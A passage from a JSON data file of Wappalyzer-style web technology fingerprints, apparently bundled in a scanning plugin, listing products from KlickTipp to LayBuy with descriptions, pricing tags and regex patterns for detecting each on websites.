including newsletter creation, SMS functionality, and marketing automation tools.\",\n    \"dom\": [\n      \"form[action*='app.klicktipp.com/api']\"\n    ],\n    \"icon\": \"KlickTipp.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.klicktipp\\\\.com/\"\n    ],\n    \"website\": \"https://www.klicktipp.com\"\n  },\n  \"Klickly\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Klickly is an invite-only, commission-based advertising platform.\",\n    \"icon\": \"Klickly.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.klickly\\\\.com/pixel\\\\.js\\\\?v=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.klickly.com\"\n  },\n  \"Klip\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Klip is a tool for creating product page coupons designed to enhance customer engagement, boost conversions, and improve retention.\",\n    \"icon\": \"Klip.svg\",\n    \"js\": {\n      \"KLIP_APP_DATA.ATCPath\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://klipcoupons.com\"\n  },\n  \"Klook\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Klook is a travel affiliate system designed to connect users with various travel services and experiences.\",\n    \"icon\": \"Klook.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.klook\\\\.com/\"\n    ],\n    \"website\": \"https://www.klook.com\"\n  },\n  \"Knack\": {\n    \"cats\": [\n      3,\n      18\n    ],\n    \"description\": \"Knack is a tool designed to build online databases and web applications, providing a platform for creating custom applications without extensive programming knowledge.\",\n    \"icon\": \"Knack.svg\",\n    \"js\": {\n      \"Knack\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"loader\\\\.knack\\\\.com/\"\n    ],\n    \"website\": \"https://www.knack.com\"\n  },\n  \"Knak\": {\n    \"cats\": [\n      75\n    ],\n    \"description\": \"Knak is a platform that provides customisable email and landing page templates to simplify the creation of visually appealing marketing campaigns.\",\n    \"dom\": [\n      \"img[src*='.knak.io/']\"\n    ],\n    \"icon\": \"Knak.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://knak.com\"\n  },\n  \"Knock\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Knock is a platform offering insights into marketing, leasing, and renewals for the real estate sector.\",\n    \"icon\": \"Knock.svg\",\n    \"js\": {\n      \"knockDoorway\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.knockcrm.com\"\n  },\n  \"Knockout.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Knockout.js is basically a library written in JavaScript, based on MVVM pattern that helps developers build rich and responsive websites.\",\n    \"icon\": \"Knockout.js.svg\",\n    \"js\": {\n      \"ko.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://knockoutjs.com\"\n  },\n  \"Knoma\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Knoma is a platform where users can search hundreds of courses from leading schools and bootcamps.\",\n    \"icon\": \"Knoma.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.knoma\\\\.io/\"\n    ],\n    \"website\": \"https://www.knoma.io\"\n  },\n  \"Ko-fi\": {\n    \"cats\": [\n      5,\n      111\n    ],\n    \"description\": \"Ko-fi is an online platform that helps content creators get the financial support.\",\n    \"dom\": [\n      \"a[href*='ko-fi.com/'][target='_blank']\"\n    ],\n    \"icon\": \"Ko-fi.svg\",\n    \"js\": {\n      \"kofiwidget2\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ko-fi\\\\.com/widgets\"\n    ],\n    \"website\": \"https://ko-fi.com\"\n  },\n  \"Koa\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"^koa$\"\n    },\n    \"icon\": \"Koa.png\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"website\": \"https://koajs.com\"\n  },\n  \"Koala\": {\n    \"cats\": [\n      10,\n      53\n    ],\n    \"description\": \"Koala is an analytical product with CRM features that helps businesses efficiently identify and track prospects, providing valuable insights and streamlining the sales process.\",\n    \"icon\": \"Koala.svg\",\n    \"js\": {\n      \"KoalaSDK\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.getkoala\\\\.com/\"\n    ],\n    \"website\": \"https://getkoala.com/\",\n    \"xhr\": [\n      \"api\\\\.getkoala\\\\.com\"\n    ]\n  },\n  \"Koala Framework\": {\n    \"cats\": [\n      1,\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:koala-framework:koala_framework:*:*:*:*:*:*:*:*\",\n    \"description\": \"Koala Framework is an open-source PHP web application framework designed for scalable and modular development, emphasizing MVC architecture and component-based design.\",\n    \"html\": [\n      \"<!--[^>]+This website is powered by Koala Web Framework CMS\"\n    ],\n    \"icon\": \"Koala Framework.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Koala Web Framework CMS\"\n    },\n    \"oss\": true,\n    \"website\": \"https://koala-framework.org\"\n  },\n  \"Kobalte\": {\n    \"cats\": [\n      66\n    ],\n    \"cookies\": {\n      \"kb-color-mode\": \"\"\n    },\n    \"description\": \"Kobalte is a UI toolkit for building accessible web apps and design systems with SolidJS.\",\n    \"dom\": [\n      \"div[data-kb-top-layer], html[data-kb-theme]\"\n    ],\n    \"icon\": \"kobalte.svg\",\n    \"implies\": [\n      \"SolidJS\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://kobalte.dev\"\n  },\n  \"KobiMaster\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"KobiMaster is an ecommerce platform from Turkey.\",\n    \"icon\": \"Kobimaster.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"kmGetSession\": \"\",\n      \"kmPageInfo\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.kobimaster.com.tr\"\n  },\n  \"Koha\": {\n    \"cats\": [\n      50\n    ],\n    \"cpe\": \"cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:*\",\n    \"description\": \"Koha is an open-source Integrated Library System (ILS).\",\n    \"dom\": [\n      \"input[name*='koha_login_context'][type='hidden'], a[href*='/cgi-bin/koha/']\"\n    ],\n    \"html\": [\n      \"<input name=\\\"koha_login_context\\\" value=\\\"intranet\\\" type=\\\"hidden\\\">\",\n      \"<a href=\\\"/cgi-bin/koha/\"\n    ],\n    \"icon\": \"koha.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"js\": {\n      \"KOHA\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Koha ([\\\\d.]+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://koha-community.org/\"\n  },\n  \"Kohana\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"kohanasession\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:kohanaframework:kohana:*:*:*:*:*:*:*:*\",\n    \"description\": \"Kohana is an open-source PHP web framework designed for building web applications, following the Model-View-Controller (MVC) architectural pattern.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Kohana Framework ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Kohana.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://kohanaframework.org\"\n  },\n  \"Koishi.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Koishi.js is a cross-platform chatbot framework.\",\n    \"icon\": \"Koishi.js.png\",\n    \"implies\": [\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"KOISHI_CONFIG\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/koishijs\"\n  },\n  \"Koken\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"koken_referrer\": \"\"\n    },\n    \"description\": \"Koken is a free web site publishing system developed for photographers, designers, artists and creative DIYs.\",\n    \"dom\": [\n      \"html[lang='en'][class*='k-source-essays']\"\n    ],\n    \"html\": [\n      \"<!--\\\\s+KOKEN DEBUGGING\"\n    ],\n    \"icon\": \"Koken.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"Koken ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"koken(?:\\\\.js\\\\?([\\\\d.]+)|/storage)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://koken.me\"\n  },\n  \"Kommi\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Kommi is a provider of digital marketing services.\",\n    \"icon\": \"Kommi.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tracker\\\\.kommi\\\\.io/\"\n    ],\n    \"website\": \"https://kommi.io\"\n  },\n  \"Komodo CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Komodo CMS.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Komodo CMS\"\n    },\n    \"website\": \"https://www.komodocms.com\"\n  },\n  \"Konduto\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Konduto is a fraud detection service for ecommerce.\",\n    \"dom\": [\n      \"link[href*='.konduto.com']\"\n    ],\n    \"icon\": \"Konduto.svg\",\n    \"js\": {\n      \"Konduto\": \"\",\n      \"getKondutoID\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.k-analytix\\\\.com\"\n    ],\n    \"website\": \"https://www.konduto.com\"\n  },\n  \"Kong\": {\n    \"cats\": [\n      64\n    ],\n    \"description\": \"Kong is an open-source API gateway and platform that acts as middleware between compute clients and the API-centric applications.\",\n    \"headers\": {\n      \"via\": \"^kong/([\\\\d\\\\.]+)(?:.+)?$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Kong.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"payg\",\n      \"freemium\"\n    ],\n    \"website\": \"https://konghq.com\"\n  },\n  \"Konget\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Konget is a platform that integrates applications for lead generation, a builder for automated outgoing calls, and a suite of marketing statistics and analytics.\",\n    \"icon\": \"Konget.svg\",\n    \"js\": {\n      \"__KONGET_PUBLIC__\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.konget\\\\.ru/\"\n    ],\n    \"website\": \"https://konget.ru\"\n  },\n  \"Kontent.ai\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Kontent.ai is a SaaS-based modular content platform.\",\n    \"dom\": [\n      \"img[src*='.kc-usercontent.com'], link[href*='.kc-usercontent.com']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.kc-usercontent\\\\.com\"\n    },\n    \"icon\": \"Kontent.ai.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://kontent.ai\"\n  },\n  \"Konva.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Konva.js is a JavaScript library for creating 2D canvas applications on both desktop and mobile platforms, utilising HTML5.\",\n    \"icon\": \"KonvaJS.svg\",\n    \"js\": {\n      \"Konva\": \"\",\n      \"Konva.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://konvajs.org\"\n  },\n  \"Koobi\": {\n    \"cats\": [\n      1\n    ],\n    \"html\": [\n      \"<!--[^K>-]+Koobi ([a-z\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Koobi.png\",\n    \"meta\": {\n      \"generator\": \"Koobi\"\n    },\n    \"website\": \"https://dream4.de/cms\"\n  },\n  \"Kooboo CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:kooboo:kooboo_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Kooboo is a content management system (CMS) and web development framework used for building and managing websites and web applications.\",\n    \"headers\": {\n      \"X-KoobooCMS-Version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Kooboo CMS.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/Kooboo\"\n    ],\n    \"website\": \"https://kooboo.com\"\n  },\n  \"Kooomo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Kooomo is a SaaS ecommerce platform with a focus on localisation and internationalisation.\",\n    \"dom\": [\n      \"img[src*='.kooomo-cloud.com']\"\n    ],\n    \"icon\": \"Kooomo.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"Kooomo(?: v([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.kooomo.com\"\n  },\n  \"Kopage\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Kopage is an AI-powered website builder designed to simplify the process of creating and managing websites, offering automated tools and features that enable users to build functional websites without extensive technical knowledge.\",\n    \"icon\": \"Kopage.svg\",\n    \"js\": {\n      \"kopageBar\": \"\",\n      \"kopageChatBar\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.kopage.com\"\n  },\n  \"Kotisivukone\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Kotisivukone is a Finnish website builder platform.\",\n    \"icon\": \"Kotisivukone.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"kotisivukone(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.kotisivukone.fi\"\n  },\n  \"Kotlin\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:jetbrains:kotlin:*:*:*:*:*:*:*:*\",\n    \"description\": \"Kotlin is a general purpose, free, open-source, statically typed “pragmatic” programming language initially designed for the JVM (Java Virtual Machine) and Android that combines object-oriented and functional programming features.\",\n    \"icon\": \"Kotlin.svg\",\n    \"oss\": true,\n    \"website\": \"https://kotlinlang.org\"\n  },\n  \"Kount\": {\n    \"cats\": [\n      10,\n      16\n    ],\n    \"description\": \"Kount is a suite of fraud detection and prevention solutions for ecommerce businesses.\",\n    \"icon\": \"Kount.svg\",\n    \"js\": {\n      \"ka.ClientSDK\": \"\",\n      \"ka.collectData\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"shopify\\\\.kount\\\\.net/js\"\n    ],\n    \"website\": \"https://kount.com\"\n  },\n  \"Ktor\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:jetbrains:ktor:*:*:*:*:*:*:*:*\",\n    \"description\": \"Ktor is a Kotlin framework that allow developers to write asynchronous clients and servers applications, in Kotlin.\",\n    \"headers\": {\n      \"server\": \"^Ktor/debug$\",\n      \"x-engine\": \"^Ktor$\"\n    },\n    \"icon\": \"Ktor.svg\",\n    \"implies\": [\n      \"Kotlin\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://ktor.io\"\n  },\n  \"Kubernetes Dashboard\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:kubernetes:kubernetes:*:*:*:*:*:*:*:*\",\n    \"dom\": [\n      \"[ng-app='kubernetesDashboard']\"\n    ],\n    \"icon\": \"Kubernetes.svg\",\n    \"website\": \"https://kubernetes.io/\"\n  },\n  \"Kudobuzz\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Kudobuzz is a tool for collecting and managing customer reviews.\",\n    \"icon\": \"kudobuzz.svg\",\n    \"implies\": [\n      \"Svelte\"\n    ],\n    \"js\": {\n      \"Kudos.apiServer\": \"api\\\\.kudobuzz\\\\.com\"\n    },\n    \"website\": \"https://kudobuzz.com/\"\n  },\n  \"KueskiPay\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"KueskiPay is a buy-now-pay-later solution.\",\n    \"icon\": \"KueskiPay.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"kueskypushhead\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.kueskipay\\\\.com\"\n    ],\n    \"website\": \"https://kueskipay.com/\"\n  },\n  \"Kustomer\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Kustomer is a CRM platform.\",\n    \"icon\": \"Kustomer.svg\",\n    \"js\": {\n      \"Kustomer\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.kustomerapp\\\\.com\"\n    ],\n    \"website\": \"https://www.kustomer.com/\"\n  },\n  \"Kwai pixel\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Kwai is a social network for short videos and trends.\",\n    \"icon\": \"Kwai.svg\",\n    \"js\": {\n      \"KwaiAnalyticsObject\": \"\",\n      \"kwaiq\": \"\"\n    },\n    \"website\": \"https://www.kwai.com\"\n  },\n  \"k-eCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"k-eCommerce is mdf commerce’s platform for SMBs, providing all-in-one ecommerce and digital payment solutions integrated to Microsoft Dynamics and SAP Business One. \",\n    \"dom\": [\n      \"a[href*='.k-ecommerce.com/'][target='_blank']\"\n    ],\n    \"icon\": \"k-eCommerce.svg\",\n    \"meta\": {\n      \"generator\": \"k-eCommerce\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.k-ecommerce.com\"\n  },\n  \"keep. archeevo\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"keep. archeevo is an archival management software that aims to support all the functional areas of an archival institution, covering activities ranging from archival description to employee performance assessment.\",\n    \"icon\": \"keep. archeevo.png\",\n    \"js\": {\n      \"ArcheevoSnippets.mostviewedDocumentsURL\": \"\",\n      \"embedArcheevoBasicSearch\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.keep.pt/en/produts/archeevo-archival-management-software\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/l.json",
    "content": "{\n  \"LEPTON\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:lepton-cms:lepton:*:*:*:*:*:*:*:*\",\n    \"description\": \"LEPTON is a PHP-based content management system with support for MySQL/MariaDB, WYSIWYG editing, multi-language capability, and secure backend features.\",\n    \"icon\": \"LEPTON.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"LEPTON\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.lepton-cms.org\"\n  },\n  \"LGC\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"LGC is a modern CMS designed to improve the management of your website.\",\n    \"icon\": \"LGC.svg\",\n    \"meta\": {\n      \"generator\": \"^LGC$\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"website\": \"https://luigigabrieleconti.com\"\n  },\n  \"LINE Login\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"LINE Login is an API that allows you to implement a login function into your services, regardless of whether they are web apps or native apps.\",\n    \"dom\": [\n      \"a[href*='access.line.me/']\"\n    ],\n    \"icon\": \"LINE.svg\",\n    \"js\": {\n      \"Constants.authorization_request_url\": \"access\\\\.line\\\\.me/oauth2/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://developers.line.biz/en/services/line-login/\"\n  },\n  \"LKQD\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"LKQD is a video advertising platform that enables publishers to serve video ads across multiple devices and formats.\",\n    \"dom\": [\n      \"iframe[src*='.lkqd.net']\"\n    ],\n    \"icon\": \"LKQD.svg\",\n    \"js\": {\n      \"lkqdCall\": \"\",\n      \"lkqdErrorCount\": \"\",\n      \"lkqdSettings\": \"\",\n      \"lkqd_http_response\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.lkqd\\\\.net\"\n    ],\n    \"website\": \"https://wiki.lkqd.com\",\n    \"xhr\": [\n      \"\\\\.lkqd\\\\.net\"\n    ]\n  },\n  \"LOU\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"LOU is a Digital Adoption Platform that streamlines user onboarding and training.\",\n    \"icon\": \"LOU.svg\",\n    \"scriptSrc\": [\n      \"cdn\\\\.louassist\\\\.com*\"\n    ],\n    \"website\": \"https://www.louassist.com\"\n  },\n  \"LTheme\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"LTheme is a provider of Joomla and WordPress themes.\",\n    \"dom\": [\n      \"script[id*='ltheme-custom-js']\"\n    ],\n    \"icon\": \"LTheme.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ltheme.com\"\n  },\n  \"Ladipage\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Ladipage is a landing page designing platform that helps businesses to promote sales by advertising their products and services.\",\n    \"icon\": \"Ladipage.svg\",\n    \"js\": {\n      \"LadiPageApp\": \"\",\n      \"LadiPageCommand\": \"\",\n      \"LadiPageScript\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"w\\\\.ladicdn\\\\.com/\"\n    ],\n    \"website\": \"https://ladipage.vn\"\n  },\n  \"Lagoon\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"The Open Source Application Delivery Platform for Kubernetes.\",\n    \"headers\": {\n      \"X-LAGOON\": \"\",\n      \"x-lagoon\": \"\"\n    },\n    \"icon\": \"lagoon.svg\",\n    \"oss\": true,\n    \"website\": \"https://lagoon.sh/\"\n  },\n  \"Landbot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Landbot is a no code conversational chatbots, conversational landing pages and website, interactive survey and lead generation bot.\",\n    \"icon\": \"landbot.svg\",\n    \"js\": {\n      \"LandbotLivechat\": \"\",\n      \"initLandbot\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"freemium\",\n      \"mid\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.landbot\\\\.io/.*-([\\\\d\\\\.]+)\\\\.js\"\n    ],\n    \"website\": \"https://landbot.io\"\n  },\n  \"LandingPress\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"LandingPress is a WordPress theme.\",\n    \"icon\": \"LandingPress.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/landingpress-wp/.+script\\\\.min\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://landingpress.net\"\n  },\n  \"LangShop\": {\n    \"cats\": [\n      100,\n      89\n    ],\n    \"description\": \"LangShop is an app for translating Shopify stores.\",\n    \"icon\": \"LangShop.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"LangShop\": \"\",\n      \"LangShopConfig\": \"\",\n      \"LangShopSDK\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.langshop\\\\.app/\"\n    ],\n    \"website\": \"https://langshop.io\"\n  },\n  \"Laravel\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"laravel_session\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:laravel:laravel:*:*:*:*:*:*:*:*\",\n    \"description\": \"Laravel is a free, open-source PHP web framework.\",\n    \"icon\": \"Laravel.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Laravel\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://laravel.com\"\n  },\n  \"Laravel Echo\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Laravel Echo is a JavaScript library that makes it painless to subscribe to channels and listen for events broadcast by Laravel.\",\n    \"icon\": \"Laravel Echo.svg\",\n    \"implies\": [\n      \"Laravel\"\n    ],\n    \"js\": {\n      \"Echo.connector\": \"\",\n      \"echo.connector\": \"\"\n    },\n    \"website\": \"https://laravel.com/docs/broadcasting#client-side-installation\"\n  },\n  \"Lasso CRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Lasso CRM is a new home sales CRM solution for builders, developers, and new homes agencies.\",\n    \"icon\": \"LassoCRM.svg\",\n    \"js\": {\n      \"LassoAnalytics\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.lassocrm\\\\.com/\"\n    ],\n    \"website\": \"https://www.ecisolutions.com/products/lasso-crm\"\n  },\n  \"Laterpay\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Laterpay is a service that simplifies payments on the Internet. In addition to the classic immediate purchase option, Laterpay also allows you to buy digital content such as articles or videos now and pay later.\",\n    \"icon\": \"laterpay.png\",\n    \"meta\": {\n      \"laterpay:connector:callbacks:on_user_has_access\": \"deobfuscateText\"\n    },\n    \"scriptSrc\": [\n      \"https?://connectormwi\\\\.laterpay\\\\.net/([0-9.]+)[a-zA-z-]*/live/[\\\\w-]+\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.laterpay.net/\"\n  },\n  \"LatitudePay\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"LatitudePay is an interest-free, buy now, pay later solution.\",\n    \"dom\": [\n      \"a[href*='latitudepay.com/'][target='_blank'], img[src='.latitudepayapps.com/']\"\n    ],\n    \"icon\": \"LatitudePay.svg\",\n    \"js\": {\n      \"checkout.enabledpayments.latitudepay\": \"^true$\",\n      \"wc_ga_pro.available_gateways.latitudepay\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.latitudepayapps\\\\.com/\"\n    ],\n    \"website\": \"https://www.latitudepay.com\"\n  },\n  \"LaunchDarkly\": {\n    \"cats\": [\n      85\n    ],\n    \"description\": \"LaunchDarkly is a continuous delivery and feature flags as a service platform that integrates into a company's current development cycle.\",\n    \"dom\": [\n      \"link[href*='.launchdarkly.com']\"\n    ],\n    \"icon\": \"LaunchDarkly.svg\",\n    \"js\": {\n      \"DDC.WS.state\": \"\",\n      \"launchDarkly\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\.|\\\\-)launchdarkly(?:\\\\.com/|\\\\-sdk\\\\.)\"\n    ],\n    \"website\": \"https://launchdarkly.com\",\n    \"xhr\": [\n      \"app\\\\.launchdarkly\\\\.com\",\n      \"events\\\\.launchdarkly\\\\.com\"\n    ]\n  },\n  \"Launchrock\": {\n    \"cats\": [\n      51,\n      75\n    ],\n    \"description\": \"Launchrock is an online tool designed to help capture email addresses and create online product launching events.\",\n    \"icon\": \"Launchrock.svg\",\n    \"js\": {\n      \"lrIgnition\": \"\\\\;confidence:25\",\n      \"lrLoadedJs\": \"\\\\;confidence:25\",\n      \"lrSiteRenderingData.apiEndpoint\": \"\",\n      \"lrSiteSettingAsBoolean\": \"\\\\;confidence:25\",\n      \"lrignition\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"builder\\\\.launchrock\\\\.com\"\n    ],\n    \"website\": \"https://www.launchrock.com\"\n  },\n  \"LawPay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Payment for law firms.\",\n    \"icon\": \"Lawpay.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\b(?:lawpay)\\\\b\"\n    ],\n    \"website\": \"https://www.lawpay.com\"\n  },\n  \"LayBuy\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Laybuy is a payment service that lets you receive your purchase now and spread the total cost over 6 weekly automatic payments interest free.\",\n    \"dom\": [\n      \"iframe[src='.laybuy.com/'], a[href*='.laybuy.com/what-is-laybuy']\"\n    ],\n    \"icon\": \"LayBuy.svg\",\n    \"js\": {\n      \"LaybuyHelper\": \"\",\n      \"checkout.enabledpayments.laybuy\": \"^true$\",\n      \"laybuyEnableCart\": \"\",\n      